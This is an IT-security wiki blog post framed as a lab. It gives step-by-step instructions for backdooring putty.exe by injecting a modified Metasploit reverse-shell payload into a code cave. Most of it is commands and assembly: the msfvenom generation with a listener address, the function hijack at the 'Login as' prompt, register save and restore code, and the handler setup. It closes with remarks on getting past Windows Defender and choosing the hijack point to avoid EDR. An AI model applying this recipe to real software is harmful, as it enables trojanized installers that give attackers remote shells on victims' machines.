Backdoor development with Code Caves

Backdoor development with Code Caves

In this lab, we will inject a Metasploit shellcode into the Putty program, which will be executed at a specific point. To achieve this, we will use memory within putty.exe that is unused in the resources (so-called code caves).

1.0 Introduction

The following steps will be executed:

  • Identify the code cave
  • Change the access rights of the resources
  • Develop a custom payload
  • Generate the payload
  • Identify and hijack the function
  • Redirect the code flow
  • Test the backdoor

2.0 Code Caves

A code cave is a series of unused bytes in a process's memory. The code cave inside a process's memory is often a reference to a section that has capacity for injecting custom instructions.1)

2.1 Finding code caves with Cminer

Now, let's search for free bytes in our putty.exe. For this, we use Cminer:

┌──(kali㉿hfc84)-[~/tools/develop/Cminer]
└─$ ./Cminer ~/tmp/PUTTY.EXE
 
[#] Cave 2                                          
[*] Section: .rsrc                                  
[*] Cave Size: 4027 byte.                           
[*] Start Address: 0x80005654                       
[*] End Address: 0x8000660f                         
[*] File Ofset: 0xd4855

2.2 Prepare the cave

We have to modify the resource permissions of .rsrc to execute our payload:

  1. Section Headers
  2. .rsrc
  3. Set section flags to RWX and Code
  4. Save the file

3.0 Payload

3.1 Reverse shell analysis

Metasploit shells typically reference the Windows function WaitForSingleObject with the argument 'INFINITE' or 0xFFFFFFFFFFFFFFFF. This ensures that the shellcode runs to completion. However, in our specific use case, this is disadvantageous because Putty would become unresponsive.

To prevent this, we need to set the argument to 0x00. We can achieve this easily by changing dec rdx to nop.

Additionally, we can change the last instruction call rbp to nop or, alternatively, overwrite the instruction later in the debugger.

pop rcx
mov r10d,ebx
call rbp
->
pop rcx
mov r10d,ebx
nop
nop

3.2 Custom payload

Since Metasploit shellcodes are encoded and I don't want to manually apply the change every time, I debug the raw shellcode from the file modules/payloads/singles/windows/x64/shell_reverse_tcp and modify the affected bytes. I then save the file as custom_shell_reverse_tcp in the same directory.

3.3 Create payload

Now, let's generate our shellcode:

msfvenom -p windows/x64/custom_shell_reverse_tcp LHOST=172.18.75.2 LPORT=6699 -b x00 -f raw -o shell_reverse_tcp64.bin

4.0 Code Hijacking

Let's start the disassembler! We should initiate a Metasploit listener for testing purposes.

4.1 Information gathering

The following information is necessary for the next steps:

  • Cave file offset
  • Cave Address
  • Address of function to hijack
  • Address of the following instruction

Cminer has already provided us with the file offset: 0xd4855 We now go to the offset and note down the address: 0x7FF79ACBE655

In the next step, we need a function that we can hijack. Putty prompts for credentials after a successful connection. This is where we can intervene, as EDRs (Endpoint Detection and Response systems) are less likely to detect whether it’s a legitimate action or not. To do this, we search for the string reference for Login as.

Ok, we have everything, we need. It is time to hijack!

4.2 Function Hijacking

We write down the instruction, for later use and change it to a jmp instruction. The target is our Code Cave address.

0x7FF764C3393B | lea rcx,qword ptr ds:[7FF764CBC83F]
; change to ->
jmp putty_a.7FF764CDE655
nop 
nop 

After manipulating the function, we change to the Code Cave Address.

4.3 Register PUSHing

Since we need to restore the registers to their original values after executing the shellcode, we save it on the stack:

push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15

4.4 Shellcode

Now, let's open the generated shellcode in a hex editor. Then, we copy the bytes and paste them right after the push instructions.

4.5 Stack Frame clean up

We need to take a closer look at the stack pointer and set two breakpoints: one before the first instruction of the shellcode and one before the last instruction (if we still want to overwrite it).

push rcx
...
push r15
cld      ; Breakpoint - RSP -> 9E4D2FF9C8
...
call rbp ; Breakpoint - RSP -> 9E4D2FF8C8

This is important because the stack pointer was modified by the shellcode. So, we calculate the difference between the two rsp values and clean up the stack pointer by adding this difference.

$9E4D2FF9C8 - 9E4D2FF8C8 = 100$

Replace call rbp (EXITFUNC) with the calculated value.

add rsp, 0x100

4.6 Register POPing

To restore our registers, we use the pop instruction in reverse order. Important: don't restore rsp, because we've corrected it in the previous step.

pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
nop          ; don't overwrite your cleaned up stack :-)
pop rbp
pop rdx
pop rcx
pop rbx
pop rax

4.7 Restore hijacked function

To redirect the code flow back in the correct direction, we replicate the overwritten function. Then, we jump behind our hijacked function. As long as all registers have been correctly restored, this will succeed without generating an error.

lea rcx,qword ptr ds:[7FF764CBC83F] ; rebuild hijacked function
jmp putty_a.7FF764C33942            ; jump back

4.8 Save the binary

If everything works, we can save the patched putty.exe

5.0 Run the backdoor

5.1 Metasploit listener

We run a Metasploit listener, to catch the connection:

use exploit/multi/handler
set lhost 0.0.0.0
set lport 6699
run
 
[*] Started reverse TCP handler on 0.0.0.0:6699

5.2 Start the backdoor

  1. Run the backdoor
  2. Enter connection details
  3. klick OK
  4. Magic!

5.3 Windows Defender reaction

Windows Defender takes about 30 seconds to detect that something is wrong with this process. During this time, the shell is already connected. Although Putty is terminated, the shell is not. Thus, despite having Windows Defender enabled, we were able to establish a reverse shell, which can be used for further actions.

To prevent detection, we could use a custom encoder.

References

Diskussion

Geben Sie Ihren Kommentar ein:
157 -13 =
 
it-security/blog/backdoor_development_with_code_caves.txt · Zuletzt geändert: 2025/02/09 20:35
CC Attribution-Noncommercial-Share Alike 4.0 International